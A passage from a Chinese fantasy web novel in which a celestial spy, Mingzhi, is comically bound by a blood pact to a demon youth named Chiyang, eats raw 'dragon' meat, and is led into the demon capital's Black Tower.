对方恐怕没有那两只小妖魔好糊弄,万一被他瞧出什么端倪呢? 自己应该不曾在哪里露了马脚吧…… 没来得及心虚,不料面前的人表情一转,一张笑脸见牙不见眼。 “好险,差点以为要饿死在里面了,幸好有你在。” 不知怎的,他一笑,身上的锋芒就荡然无存,明朗的张扬外放开,给人一种先前只是看花眼的错觉。 比起一路所见的歪瓜裂枣和青面獠牙,此人委实称得上端正整齐了,相当像个人样。 鸣枝不由大感欣慰地松了一口气。 “我刚刚把你咬疼了吗?”少年随之伸出手,意思是给他看看,“伤得严不严重?” “没事的,不要紧。” 她立刻并指在手腕上一抹,“一点皮外伤而已,很快就能治好了。” 然后亮起小臂,“你看。” 他微微挑眉,眸中当真露出几分好奇之色,凑过去仔细打量,“诶——” “你还会疗伤啊?挺厉害的嘛。” 几句话交谈下来,鸣枝的心思逐渐开始活泛。 这个魔族瞧着一点也不似传说中那么凶神恶煞,人还蛮好说话的,至少比那两个长得莫名其妙的魔物正常多了,实力又强。 有了这份出生入死的情谊,或许可以找他打听大魔都的事呢?若能带她过去就再好不过了。 鸣枝接着套近乎:“多亏你急中生智,原来喝了别人的血,你那个不能见月光的毛病就能好啊。” 少年旋即笑道:“是啊,多亏你同意结契,否则我真不一定能活着出来。” “这石头大概还能再撑个一两天,不瞒你说,我已经没剩多少体力了,你若是明天出现,我未必有力气揍得动那三只两脚龙。” 她正客套地摆手笑笑,笑了一半忽然意识到有什么地方不对劲。 等等。 结契? 结什么契…… “慢着,等会儿——”鸣枝打断他后面的话,“你说‘结契’……是指,我们之间缔结了契约?” “对啊。” 她大惊失色:“什么时候的事!?” “就在方才。”少年把胳膊搭在膝头,答得理所当然,“你不是自己亲口应下了吗?” 怎么可能,他们方才明明急着在躲魔…… 鸣枝思绪一僵。 后知后觉地回想起接连应了三声“自愿”的事。 她蓦地捂住嘴,开始汗流浃背。 莫非,难道,那是结契仪式? 不对啊,达成契约不是需要见证人,需要契约书,需要签字确认的吗? 怎会如此轻易! 一生循规蹈矩的天界人委实没有体验过魔族放任自流的作风。 她不敢相信,试图据理力争:“可是一般来说,契约落成,各自身上会有印记——” 话音刚落,对面的人就冲她晃晃手腕,只见靠近手掌的地方赫然闪烁着一个红色的契约印。 鸣枝忙再去瞧自己的。 “……” 她大脑一片空白。 而后在空白里爆发出一声尖锐的鸣叫。 啊——! 这是什么不严谨不正规不讲道理的黑暗契约,怎么一句话就达成协议了呢! 要知道结契可不是小事,必然是双方定下了某种不可违逆的交易或条约,为确保公正才以此为束缚。 在仙界几乎被列作禁术,且需得是涉及生死存亡的大场合才可施展,这么久以来,也就当年龙族签订休战之约时用过,还是沐浴焚香,斋戒三天后,于敲锣打鼓之下,众目睽睽之中歃血为盟的,隆重得浓墨重彩。 怎么在魔域比吃饭都容易! 她到底是想得太美了,居然会期待遇到一个正常的魔族人,这还不如先前那两个小魔呢。 简直是魔中恶鬼——魔鬼! 鸣枝连忙询问:“那,这是什么契约?” 少年许是有些不解她的反应,“共生契。” 虽然依旧没听说过,但从字面上,她本能地察觉到一丝不妙。 鸣枝欲言又止:“什么是……‘共生契’?” 他终于略感意外地歪头往前凑了凑,“你不知道共生契?” 她应该知道吗? 这难不成还是魔族的必修法门,人尽皆知的那种? 鸣枝此时已经顾不得拐弯抹角地套话了,只好说:“因为我……” “你知道黑水滩吗?” 对方十分诚实地摇头:“不知道。” 鸣枝:“……” 你怎么该知道的不知道! 少年未能如她所愿,像先前的小魔那般闻弦音知雅意,两个人于是沉默地对视片晌,各自都感觉到了一条名为“沟通”天堑鸿沟。 鸣枝别无他法:“就是、就是……” 她沉痛地承认:“我是一个没见过世面的乡巴佬!我们那里没有这种东西,这么讲你能明白吗……” 对面疑惑的星眸蓦地一展,看上去大约是听懂了,了然地轻轻颔首。 “喔……原来黑水滩是这样的地方?” 言罢他似是很快接受了她的说法,颇有耐心地解释起来:“共生契么,嗯……你听闻过天地生灵间的共生关系吧?” “就跟那个差不多。” “一些弱小的魔族为了生存,会选择互相抱团,以提升整体实力。 “我的话,情况更复杂一点。我这毛病只在望月之夜发作,平时并不需要谁保护,所以一直以来都是和那些缺乏自保能力的魔兽结契。” “它们提供自己的血给我,而我给予庇护,算是各取所需。” 言至于此,他语气里满是懊悔:“唉,上一只和我结契的共生兽前段时间寿终正寝了,原本我还养着一只备用,但瞧它太小,便打算再等一阵,谁知偏偏那么巧……” 鸣枝听完这番描述就意识到麻烦大了,又是血又是共生的,绝非普通术法。 如果违背约定,带来的反噬必然非同一般。 “那、那这契约,你能解除吗?” 少年从那边一抬眸,眼底的促狭倏忽一闪,然后他说:“我当然不行。” 就猜到会这样! 苍天啊,这怎么办! 她可是一个奸细……咳,一个卧底,结成如此来路不明的契约,今后还怎么干偷鸡摸狗的事! 鸣枝急得团团转:“你可以再去和别的魔兽结契么?就是之前准备的那只。” 她提议道:“你不如多结几个备用着,我不需要人保护,把机会让给它们比较好……” “这不行。” 他盯着她的表情看,像是有些新奇,“共生契都是一对一独一份,没有三心二意的道理。” 你们结契都不讲究,这会儿倒是讲究上了! 鸣枝纠结地发了一阵愁,问:“契约的意思是,我得在每个满月之日提供自己的血给你?” 对方思索着一点头,“不过我也不是每个月都有需求,没要紧事的时候,在家里窝一宿也就过去了。” “你放心。”他居然还出言安慰,“我不经常咬人。” “……” 那自己不是被绑在这了吗? 不仅不能离他太远,甚至去哪里都不方便,更 别提暗中行事了。 她还要找到大魔都的所在,还要探查魔族的底细,一大堆事等着做…… 魔族的契约判定严格吗,提前放点血存着给他备用行不行得通? 鸣枝只觉现状一团乱麻。 她才来魔域多久,就已经经历了被人欺骗,被人追杀,现在还被迫成为了别人的……跟班! 魔界果真凶险万分。 鸣枝忍不住控诉:“这么重要的事,你怎么不早点说呢!” “我想说的。” 他眸色一顿,露出无辜的笑,“你不是打断我吗?” 意识到确有其事之后,她瞬间更崩溃了。 惨痛地捂住脸—— 当时为什么不多听两个字再回答。 这嘴就那么急呢! 少年倒没觉得有什么区别:“反正你也打不过两脚龙不是么?” “在那个情况下又没得选。” 鸣枝:“……” 那倒也是。 不不不,话是这么个意思没错,可她全无心理准备啊。 和魔族结契,会影响到自己的神仙生涯吗?她要如何跟上峰、大神们解释…… 这契约的时限有多少,难不成是一辈子? 鸣枝越想越绝望,某一瞬甚至起了杀意——事已至此,只能兵行险招。 而后三只魔龙的死状登时出现在眼前,她一下子就委顿了。 “……” 不行不行,简直是在白日做梦! 还有别的办法吗? 要么,挖个深不见天的地洞,把他塞在里面?见不到月亮是不是就用不着履行契约了? 但他肯定不会轻易就范,那首先得把人迷晕,迷药倒是好说,不过怎么让对方老老实实地在地底下不出来呢? 用封印术?禁锢术?或是捆仙绳?……她没带啊。 果然看来看去,还是提前放血存着比较好实施一点…… 鸣枝犹在绞尽脑汁地苦思计划的可行之处,悬在崖边的金发少年看她念念有词的样子,仿佛是逗够了,直起身伸了个长长的懒腰: “哎,在这里也耽搁了不少时间,走吧。” 走? 她在杂乱无章的思绪中一抬头:“去哪儿?” “还能去哪儿。”那双星眸居高临下地把目光投望过来,眼尾的弧度轻轻一压,“当然是去找人给我们解契。” 听到这里,鸣枝表情当场就亮了,“噌”一下蹿起来。 “能解开,真的啊?” 见她动作太大险些忘了这是峰顶,少年忙出手扶了扶。 鸣枝:“可你刚才不是说不能解除吗?” “我是说我不能。”他笑得颇为纯良,“又没说别人不能。” “……” 好、好刁钻的魔族人! 算你有道理。 尽管知道对方是有意捉弄自己,不过鸣枝无暇在乎,她心情一番跌宕起伏,无论如何,只要术法能解便已是万幸。 太好了,她的自由之身失而复得。 “那我们现在就出发?离这里远么?” “先不急。”他往四周环顾了一圈,“还有点事要办。” 鸣枝一心盼着早日脱困,殷勤道:“什么事情?我帮你啊。” 少年闻言收回视线,听她竟有此意,先是一顿,而后笑起来:“我在石头里困了好几天,什么都没吃。” “得先填饱肚子,要不没体力赶路了。” 她听完,伸手朝小荷包里摸,只摸到一把快吃完的蜜饯。 鸣枝抓出来摊开掌心,两个人都注视着那三瓜两枣的零嘴陷入安静。 “……” 可大漠如此荒凉,要去哪里找能吃的…… 很快,她就发现对方的目光落在底下那一堆血淋淋的两脚龙尸体上。 鸣枝:“你该不会是想……” 4.迷惘(四) 少年的眼中果不其然流露出了一种狗看见某类鲜食的兴奋感。 鸣枝直觉有不妙的事情即将发生。 他轻轻拉了拉她,示意道:“诶,跟我来。” 说完就从峰顶一跃而下。 “你要做……” 鸣枝在他之后落地,看见对方已经手脚麻利地蹲在魔龙边上,三下五除二剖开外皮,开始肢解放血。 魔兽血赤糊拉的脖颈纹理分明,正汩汩往外流猩红的液体。 她表情难以言喻,后半截话的声调都变虚弱了。 “……什么?” “做饭啊。”他理所当然地一转头,脸颊边还溅了一道血渍,衬得这个笑容相当地狱,“我想你们黑水滩那儿应该没有魔龙肉吃吧?今天赶巧,野生的两脚龙在外面也是稀罕物,机会难得,正好请你尝尝。” 别说野生的两脚龙,哪怕是家养的她也不想吃。 然而对面的人兴致颇高,说:“等一会儿,很快就好了。” 鸣枝看着那头金毛忙碌的身影,起先还在苦想要如何拒绝,想着想着突然又改了主意。 这也是她第一次接触魔族人的饮食,既然要长期潜伏,以后总要融入其中的。 提前瞧瞧,学着点儿,适应一下也好。 她捏紧笛子几个深呼吸,给自己打打气。 不就是魔兽肉吗,没什么大不了的。 正忖度间,金毛手里寒光纷飞,迅速将三头龙大卸八块,四肢、背脊、尾巴分门别类地摆放。 那刀法堪称精湛,一看就是熟练工,估计这种事平时没少干。 但见他忽在掌心聚拢魔气,“哗啦”一声,把满地肉块冰封住。 这又是在做什么? 魔族处理食物的一种方式? 为避免露馅,鸣枝不好多问,只能一声不吭却专注十足地在旁观察。 预感不祥地暗自咽了口唾沫。 不就是,魔兽肉吗…… 大约过了半炷香的工夫,冰层“轰”地被他以外力解冻,露出覆盖着些微碎霜的肉块。 少年拍了两下其中的一条龙腿,像是在试手感,旋即敛去砍刀,重新自掌中抽出一柄精巧锋利的匕首,以鸣枝肉眼无法捕捉的炫技之功“唰唰”几下在龙肉上比划。 仔细看,会发现他的武器都是自手心里拔出来的,而且好似可以随其心意变化形态。 真是奇特又方便的异能。 没等她更进一步探究,尸山血海前的那头金毛便侧过脸:“好了。” 他言罢,将一整条魔龙腿塞到她怀里,十分豪情地招待道: “来,吃吧。” 不就是魔兽肉…… 鸣枝注视着手中红润的,纹理清晰的,足有她两个脑袋大的龙腿,陷入了诡异的沉默。 生……生吃啊!?? 鸣枝面上维持着波澜不惊的平静,内心翻滚着汹涌澎湃的震惊。 不是,她以为书上形容魔族茹毛饮血,嗜血癫狂只是夸张用词。 怎么那居然是写实吗? 成千上万年的光阴都没让这帮人发现熟食的美妙? 连手无缚鸡之力的人族都知道用火了! 然而一边的金毛少年却念念有词:“好像还差了点什么。” 他蓦地打了个响指,“噢,对了。” 紧接着便从手心抽出一双琥珀色的筷子,此物质地不明,但看上去与那几柄武器应是如出一辙。 “忘了给你这个。” 你还挺贴心。 鸣枝握着一把从别人身体里拔出的餐具,捧着沉甸甸的生肉,脑中激烈得锣鼓喧天。 感觉无论哪一样都不像阳间的产物。 真的要吃吗? 这个入乡随俗的难度是不是也太大了一点? 她端起鲜红的龙肉,拿筷子的手踟蹰不前,内心充满了抗拒,死活走不出第一步。 来之前也没人告诉她魔界的生活如此远古啊。 书上无记载,前辈也不教。 仙族的情报何止是欠缺,这跟没有有什么分别! 身侧蹲着的金毛支着下巴等她的反应,见鸣枝迟迟不曾动作,以为她是不会吃,于是体贴地伸出手去,“你可以先这样——” 少年扶住龙腿轻轻一晃,鸣枝发现那肉骤然分层,颇有弹性地露出一片片齐整的肉块,原来对方已经提前切好了。 “看,是不是就容易下嘴多了?” “……” 你有这手艺用在烹饪上该多好。 唯恐再拖下去会惹人起疑,鸣枝颤抖的手夹住了一块软滑的龙肉,几乎用尽全身力气才没让筷子颤栗得太厉害。 如今只能庆幸上面没什么血水,处理得很干净。 她目光森森地紧盯着那片肉,仿佛是盯着与自己纠缠了三生三世的仇人。 心里默念:一切都是为了仙族…… 然后一闭眼,以破釜沉舟之势猛地一口塞进去。 无比沉痛地想: 这就是茹毛饮血的味道…… 茹毛饮血的味道…… 茹毛饮血的…… 的…… 嗯? 鸣枝已经做好了强压住反胃感的准备,甚至没敢出动牙齿,而生肉入口后,却没有想象中那么腥臊,倒是细腻柔软,清爽微甜。 她思索着嚼了嚼,睁开眼睛。 这玩意…… 一旁观察她已久的金毛立马开口:“怎么样,好吃吗?” 鸣枝匆忙把食物咽下去,重新看向手里的龙腿:“这不是……鱼生吗?” 吃起来几乎和凡间水乡之民做的鱼脍别无二致,不过更鲜嫩一些。 “对啊。”他并没否认,“这就是鱼生。” “……” 她指向不远处还垂了半截长舌在外的魔龙头颅,难以置信:“你管这叫鱼?” 它刚在地上追自己的时候跑得可快了,横看竖看也不该是水里游的物种吧! 少年似是而非地一挑眉,“它叫两脚龙,龙不是水族吗?说是鱼有什么问题?” “……” 鸣枝想起仙界那群施云布雨的四海龙族,细细一番琢磨,发现竟无法反驳。 他说得好有道理。 “放心,我方才冰镇过,既可除虫又能祛血,这和一般的鱼脍不一样,拿去黑市上能卖不少钱呢。” 那结冰术的用途居然在这儿。 从烹调的手法来看竟无可指摘,他还真的是在“做饭”! 鸣枝把魔龙腿搁在膝上,总觉得很颠覆认知。 一旦接受了龙也是海鲜的说法,再看这份生肉,好像也没那么反感了。 但她依然不爱生食,只捧起来左右一番打量。 龙的表皮有鳞甲且相当僵硬,说是外皮这瞧着更像个“碗”。 龙体内是这样的构造吗? 鸣枝看着其中的肉,一时有些心情复杂。 不知是龙肉和鱼肉口感相似让她感到失望,还是因为发觉此魔兽竟长得如此方便人进食而百感交集。 不过并未复杂太久,便被旁边金毛少年打断。 “对了。” 他叼着肉,上半身一歪,横进视线里,“还没问你怎么称呼。” 他率先道:“我叫炽阳。” “我叫鸣……” 鸣枝刚开口冒出一个音,敏锐地意识到不能以真名从事此等不见光的任务。 叫什么好呢? 她目光下移落在手中的双鸾笛上,灵光一现。 “双、双双。” “双双?” “对。”她肯定道,“双双。” 他像是在嘴边把这个名字咀嚼了两下,才一点头,笑着说: “行,我记住了。” * 悬在天上的明月依旧皎洁。 由于时间停滞了,地面的活物感觉不出变化,鸣枝只能估摸着大概过去了小半个时辰,也许是一个时辰。 但不管多久,都足够恐怖了。 她见识到了一个人可怕的食量。 三头两脚龙,堆了丈余高的龙肉,此时此刻几乎被炽阳清空,整个过程之快堪比风卷残云。 看得她表情都从惊恐变作了麻木。 这是合理的吗? 他这体格哪来那么大的地方装放? 莫非魔族和牛一样,有好几个胃? 幸而吃相倒是不难看…… 鸣枝深感怀疑地瞥着对方,不禁暗自揣测他究竟是什么魔,是每个魔族人都这么奇怪,还是单单他比较独特…… 也就是这时,炽阳正用手背一抹嘴角,余光刚好转过来。 他眼神顿了顿,索性把身子一并掰正了看她,微微好奇:“怎么,你不爱吃?” “海产不合你胃口?” 鸣枝后知后觉想起手里满满一大碗的“龙生”,飞快欲盖弥彰地塞了两块。 “不是。” 她连忙解释,“我是以前没吃过……” 鸣枝露出 一副穷苦的真诚,“所以想留着慢慢吃。” 说着便把余下的龙肉仔细装起来,贡品似的放进荷包。 炽阳盯着她的表情看了一阵,继而望向背后那三个光秃秃的大骨架,确信再刮不出二两肉来,颇为遗憾,“唉,早知道你喜欢,该给你多留一份的。” “不用不用。” 她赶紧摆手,岔开话题试探性地问,“你吃饱了吗?我们是不是可以启程啦?” 少年试着握了握拳,片刻后抬起头,说:“差不多了。” “不过在此之前,还有一件事情要解决。” “还有事情啊……”她不由道,“又是什么?” 他把眉峰一扬,忽然神秘地笑了笑:“等下你就知道了。” 炽阳撑着膝起身,一路将碍事的魔龙头和几块大石踢开,兀自寻了个空旷的地方站定。 鸣枝只见他仰头四下张望,不知是在找什么,忽然重新从掌中拔出那柄巨剑,旋身而起,毫无征兆地朝地面砸下去。 这一剑是实打实的蛮力,一招落地,直接铺开一张龟裂的蛛网,震得地动山摇,走石飞沙。 她险些没能站稳,打了个晃好悬才保持住平衡。 炽阳踩在自己的剑柄上,往高处的虚空里抓了一把,抓出个什么东西。 那不明之物在他掌中吱哇乱叫。 鸣枝看得清楚,当下反应过来:“是那只停住时辰的魇兽?” 差点忘了这个罪魁祸首。 “这只还没成年。” 小家伙瞧着就比幼猫大一点,黑得像块炭,炽阳用挑选排骨的姿势拎着它滴溜转了一圈,由衷夸赞道:“托你的福,我差点见不到明天的太阳。” 魇兽不会说话,被他揪住了命运的后颈,此刻老实得不行。 鸣枝:“现在它醒了,沙漠是不是就能恢复正常了?” 日头若能照常升起,他们就不必赶夜路了,鸣枝夜间的视力其实不太好,如果可以,她更喜欢白天活动。 “嗯……会经历一段波动期,再慢慢和外面的时间接轨,前后大概得有个小半日吧。” 炽阳边说边跳下剑端走到鸣枝面前,十分顺手地把魇兽递过去:“来,送给你。” 他送礼的动作太流畅,好像提的是一盒年节的糕饼。 小魇兽在他的手里不敢动,四仰八叉地扬着脑袋与鸣枝对视。 “……” 周遭安静了片晌,她笑容客气地婉拒了对方的好意:“谢谢啊,我不养宠物。” 炽阳眉梢微抬,重新把魇兽看了一遍:“这不是宠物。” 鸣枝登时心头一跳,警铃大作地审视此物,横看竖看没看出有什么可吃之处,惶恐地改口: “我,现在还不饿。” “也不是吃的。” 言罢,他打量地将视线轻轻压低了,“你们黑水滩没有这个吗?” 不是吃的? 关于魇兽,鸣枝此前仅仅是在书上读到过一二,全然不知它别的用途是什么。 坐骑?看家?总不会是助眠吧。 “有……”她艰难地找理由,“不过我们很少遇到。” 她小心翼翼地求教,“所以它是拿来干什么的啊?” 就听对方堂而皇之道:“当装饰品。” “装,饰,品?!” 鸣枝再度看向魇兽时目光都充满了敬畏,此物通身上下找不出一根毛,外皮皱得像颗酸乌梅。 “饰”在哪里? 只见他伸手比划:“你可以把它的血放干,剔去骨头和筋肉,然后晒一晒挂在脖子上。” 鸣枝:“……” 要命,这居然是挂在脖子上的!示众吗? 炽阳:“我看外面的女孩子最近都偏爱这个款式。” 你们魔界的女孩子审美也太离奇了,爱好挂干尸! 他说话间就撸起袖子:“要我帮你放血吗?” 小魇兽已经推到她怀里了,鸣枝能感觉出它疯狂的求生欲,一时间,仙魔双方都很抗拒。 “不不不,不用……” 她忙不迭回绝,一把将魇兽也塞进荷包,搪塞道,“我是说,不用麻烦,回头我自己来就好。” “当下还是找解开契约的法子要紧,这种小事不急于一时。” 好在对面的炽阳并未坚持,想了想说:“也行。” 倒是仔细告知她用法:“你记得封住它七寸,这样可以阻止它入睡。” 鸣枝连声答应:“好好好,我一定。” 5.迷惘(五) 她的荷包这会儿装了一斤龙肉并一只魔兽幼崽,立刻鼓鼓囊囊起来。 鸣枝小心检查了一遍,庆幸问题不大,还能用。 此乃天界特地为她定制的魔器,是除了笛子外,身上为数不多的家当之一了。 鸣枝刚在袋子口加了一道封印,便听见前面的炽阳忽然想起什么。 “有件事我得先提醒你一下。” 他停住脚步,带着半分散漫转过头,几乎是一个后仰的动作,“我们两个结成共生关系,包括我月圆夜的毛病,还有今天发生的这些—— “最好不要让第三个人知道。” 鸣枝不自觉脱口而出:“为什么?” 少年那双玛瑙般的眸子里浮起少许幽微的色彩,上扬的嘴角轻而易举地现出虎牙。 “因为会惹来杀身之祸——我们两个。” 这人一直以来都挺疯癫的,举止就没正常过,此时此刻他那到处乱飞的语气无端沉了下来,连带让这番话也跟着染上了些许危险的色彩。 鸣枝心头瞬间一“咯噔”,慢半拍地意识到此言背后的刀光剑影,神经又凛冽地绷紧了。 是啊。 虽不知他照了望月之光会如何,但明显不会有好结果,很可能危及性命,否则也不至于千方百计要与旁人签下契约。 这么大一个软肋若被别的魔族探听到,岂非给某些不怀好意之人可乘之机。 毕竟魔族人一向贯彻有便宜不占王八蛋的金科玉律。 如果他有仇家,那仇家第一个盯上的肯定是自己。 鸣枝立即打了个寒噤。 这绝对是最糟糕的一种局面。 不管内心想不想,如今必须得承认,直到解契之前,他们都是一条绳上的蚂蚱了。 然而只片刻光景,炽阳便再度没心没肺地挂起那张笑脸。 “不过,真有谁想杀我倒也不用太担心,只是多一事不如少一事,老提防人也很麻烦。” 她忙从善如流地颔首,“明白,我明白。” “一定保守秘密。” 随后又小心翼翼地问:“和你结仇的人……多不多啊?” 他闻言微微一停,掐着手指开始算起来。 鸣枝就见他算完左手算右手,算完右手数拳头,眼角直跳。 “十几……几十,也许几百个,记不清了。”炽阳把手一挥,不在意地笑道,“但没事,他们都死了。” 鸣枝:“……” 真不知道该庆幸还是该忐忑。 大概是为了追上整个魔域的步伐,抓住魇兽后,荒漠中的时间流转得很快,月亮倏忽西沉,不时日头又滚滚高升,再迅速落下,黄沙里的昼夜交替得忽明忽暗,宛如一盏闪烁不定的大灯笼。 鸣枝跟着炽阳慢慢地走。 少年在脑后绑了个小马尾,发丝微微卷翘,凌乱得恰到好处,看上去毛茸茸的,像只蓬松的小狮子。 感觉接触下来,他还算是个有问必答的人,如今也是过命的交情了。 她对着他的后脑勺琢磨,觉得解开契约的事既然已经有着落,不如趁热打铁问问别的。 鸣枝于是小跑几步与炽阳肩并肩,试图攀谈:“那个……你知道‘乌云垂野’吗?” “知道啊。”他脚下没停,“大魔都嘛。” 她紧接着追问:“那你知道它在什么地方,怎么走吗?” 炽阳闻声转过脸面向她,笑道:“你对大魔都感兴趣?” “要去做什么,找人还是做生意?” 鸣枝想了想,挑了个最容易圆谎的说辞:“去……长见识!” “听说那里非常热闹,特别繁华,我们黑水滩穷乡僻壤的什么都没见过,就,很好奇。” 她努力睁大眼睛,好让自己充满了来自赤贫之地的朴实无华,没有心计,全是对大城镇的向往。 炽阳看着她,先若有所思地点头长长应了一声,却并未正面回答,隔了片晌突然问: “诶,你真的叫双双?” “嗯……” 鸣枝谨慎地迟疑道,“有什么问题吗?” “听着不像外面魔族爱起的名字。” 外面魔族的起名风格能是什么样? 平仄押韵?行辈字派? 他这样的,也没什么特别的啊…… 鸣枝:“那像什么?” 炽阳心里想:像你包里的那只魇兽。 不过这话他没真的说出口,感觉不利于双方友好相处,因而鸣枝就见他最后模棱两可地一笑,语焉不详地摇头:“没什么。” 他一句“没什么”,让鸣枝一路都在“有什么”,心惊肉跳地担忧自己随口捡的小名是不是不符合魔界喜好。 以至于当炽阳带着她站在传送阵前时,她都没发现周围是一开始来过的那片石林。 幽邃的法阵正悬在远处徐徐往外吹风。 四下里静寂无声。 鸣枝回过神,朝左右环顾,终于想起来疑惑这是要去哪里。 她从炽阳背后歪出半个脑袋,不确定地开口:“我们……是去解除共生契的吧?” “那不然呢?” 像是觉得她这个问法有意思,他反问道,“还能去哪儿?” 显而易见,给他们解契的人不在沙漠里。 要出沙漠,走传送法阵是唯一的选择,这也合情合理。 但鸣枝看着那夜空般深不见底的魔气漩涡,心里却禁不住发怵。 虽说这东西神域也有吧,可就是长得比魔界的神圣安全。 这玩意,真的不是通向什么无间地狱的入口吗…… 她还在忐忑地做心理准备,炽阳已经伸出手。 “走啊,就在这后面——” 后背上的力道轻轻一推。 漆黑的阵法不给她反应的时间,血盆大口般一把将人吞没。 宛如扎入水中,鸣枝蓦地深吸一口气。 比起仙界稳妥牢靠的法阵,魔界有一种不顾人死活的飞驰感,身体仿佛经历了一场搓扁捏圆的挤压。 电光石火之间,她其实萌生了一丝迟来的担忧后怕。 心想:我会不会又被人骗了? 契约全靠他一面之词,说法靠谱吗? 万一法阵之后是更恐怖的所在,万一是布下的陷阱,万一…… 眼皮外豁开的光将后面无数个“万一”一扫而空。 天其实并不很亮,由于刚从虚无的阵法内穿出,双目一时略感不适。 鸣枝先抬手侧脸躲了躲,待她再度睁开眼,刹那间,一座奇诡宏伟的石头城便赫然出现在面前。 鳞次栉比的屋宇房舍猝不及防地映入瞳孔中。 其占地之大,竟举目望不到头。 鼎沸的人声从耳边一拥而上,透过巨石城墙似乎都能看见窜动的身影。 这对在荒芜沙漠里打转了两日的鸣枝而言无疑是一种极大的振奋。 她双目逐渐放大,满眼闪着雀跃,不由越过了炽阳朝城内而去。 哇—— 反正她现在是个乡巴佬,干什么都挺符合身份的。 因此放肆地吃惊感叹了一回。 哇,这商铺食店; 哇,这茶楼酒馆—— 倒不是没见过富丽恢宏的建筑。 只是这等规模的城镇,除了人界恐怕别处再难得见了。 毕竟天界绝不会有这般密集的城镇。 可以说天界是没有城镇的。 仙族虽不禁止神仙互相结为眷侣,但在繁衍上一度十分困难,不及别族兴旺,故而数量一直不多。 即便如鸣枝这等混得不怎么样的小仙,亦能有自己的一处洞府。 毕竟地盘大,住的地方自然不缺。 她纳罕地东张西望。 穿过城门口时,两个盘查的戍卫刚想拦她,只见旁边的炽阳跳进视线里。 金发少年将手指放在唇上,背对着后退,笑容神秘地做了个噤声的手势。 对方连忙欲言又止地闭了嘴。 鸣枝在街上四处溜达,看什么都新鲜。 这里的建筑无论砖石还是木质,外面均覆盖了一层泛着微蓝光芒的外壳,瞧着整座城风格颇为统一。 她在小吃摊摆着的一口大锅前探头。 ——原来魔域也不全是吃生食啊。 虽然不知道里面煮的是什么。 更令她意想不到的是。 为了能让自己毫不起眼地融入魔族,临行前刻意从上到下换成了肃杀墨黑,一看就充满邪气装束。 然而真到了这里,鸣枝发现她还是相当突兀。 因为魔族人居然不穿黑! 和想象中乌烟瘴气,群魔乱舞的场面截然不同。 身边穿着花花绿绿的男女老少来来往往,不仅衣饰各异,而且什么风格的都有。 她甚至看见一个仙气飘飘,摇曳生姿,比她还像仙女的神妃仙子娉婷而过,差点以为撞上了同行。 直到两步之外赫然是一间成衣店,上书“仙风锦绣坊”。 鸣枝:“……” 什么东西! 鸣枝忙碌地端 详着街边的鸡零狗碎,瞧完天又去瞅瞅地,拿脚尖蹭了蹭铺地的砖,没一会儿又在店铺的招牌前驻足,还伸手对着围墙之石敲了两下,听见竟有回音,当即大为惊奇。 炽阳慢条斯理地跟在后面,特地配合着放缓了步调。 她似乎真如所言,是什么也没见过。 像个清澈的土包子。 少年默不作声地在眸中稀奇了一下,不催促亦不打断,便就随她漫无目的地瞎晃悠。 卧底的本职任务是打探消息,而就这些天的经历,鸣枝能感觉到仙界掌握的魔域现况大概只能追溯至上古时期。 等于没有。 但是到了大城市就不一样了。 她需要获知更多的情报来扮演好自己的角色。 鸣枝终于收回目光转头问他:“这里是什么地方?” “哦……” 炽阳顿了顿,似笑非笑地开口,“乌云垂野。” 他说完,朝身后一抬手。 “欢迎来到大魔都。” 炽阳看到她眼睛都亮了,反应比自己想象中的还大。 “大魔都,这就是大魔都?” 真的假的。 鸣枝几乎是原地蹦了两蹦跑去拉他,喜出望外得语无伦次,“你,怎么不早说呢!” 太好了! 踏破铁鞋无觅处,尽管兜兜转转颇多曲折,可总算不负上峰重托地找到了魔族最大的都城。 鸣枝松口气之余欣喜万分,也顾不得计较炽阳又捉弄了自己一次。 差点以为还得耽搁好长的时间。 如果是这样的话…… 她想到此处连忙举目四顾,果不其然找到了她想找的东西——一座直冲云霄,高塔式样的建筑。 ——“大魔都内立有一座黑塔,此塔鹤立鸡群,极为显眼,你入城后应能轻易察觉。” ——“这便是整个都城的命脉所在,里面有一群不好对付的魔头,也是天界最棘手的敌人。” ——“你得想办法混进去,注意一定要谨慎而为,此地戒备森严,尤其是对外人,必多方审查,怀疑再三。” 上峰曾谆谆提醒:“这事不急于一时,你可以慢慢来,万事稳妥为上。” 简而言之,那是她此行卧底的主要目的之一。 有了下一步的明确打算,她思路清晰多了,精神抖擞地跑去找炽阳求证。 “那就是你们这里的那座‘黑塔’吗?” 他顺着她所指方向一瞥,觉得有意思,“你们黑水滩这么闭塞,还知道‘黑塔’?” “是啊,都说黑塔里的人个个厉害非凡,我一路走来听到不少传言,早已敬佩在心,心向往之,崇拜有加。” 鸣枝已经能应付自如,说起谎来腹稿都不用打,“这么有名,知道也不奇怪吧。” 炽阳倒也认为有理:“哦……” 得到了肯定的答复,她心里踏实不少——往后不用再没头苍蝇似的找不到目标了。 鸣枝收敛举止,开始安分守己地跟着炽阳,让他带路。 “你认识的那位解契之人就住在大魔都?” 听见他应声,鸣枝忙又问:“这么说你也经常出入这里了?” “差不多……”他想了想,“算是吧。” 她一抚掌,眼里闪着期盼的光,“那你对魔都肯定很熟悉?回头等咱们解决了麻烦,能不能替我找个住处……” “不用特别好的,我会自己付钱!” 炽阳应承得很痛快,说:“行啊,我来安排。” 鸣枝不得不又一次悄悄庆幸事情进展得好顺利。 虽然出师不利,被迫和魔族缔结了黑暗契约,但因祸得福,现在不仅成功混进了城内,还有了本地魔帮忙引荐。 如此更能大大减少别人对她身份来历的怀疑,这对往后的潜伏十分有利。 她默默地握了握拳,满怀信心地盘算: 自己要先在魔都站稳脚跟,或许也可以开个店什么的,等摸清魔头们的底细,然后再缓步渗入,稳扎稳打,徐徐图之。 最关键是得有个私密且万无一失的安身之所。 如果邻里同住的魔族能少一些就更好了。 也就是在此时,炽阳停下了步子。 他说:“到了。” 鸣枝随着他侧身的动作一抬眸,眼里昂扬的光还没散,只见一堵冷硬的黑墙耸立在前。 “解契的地方。” 炽阳推开大门,站在两级台阶上微微歪了歪头,朝她示意道: “你最崇拜的‘黑塔’。” 6.迷惘(六) 诶? 雄浑的高塔占据了鸣枝的整个瞳孔,她大概在原地仰视了足足半刻,才触电般回过神。 看了看塔,又去看炽阳,如此重复了好几遍。 笑容消失在脸上,取而代之的全是慌张。 诶?!! 这是,什么意思…… 她不可置信地朝对方反复确认:“等,等一下,你说我们解契的地方,是黑塔?” 金毛少年挑了挑眉,无比自然地点头:“是啊。” 鸣枝:“那个能给我们解决麻烦的,是黑塔里的人?” 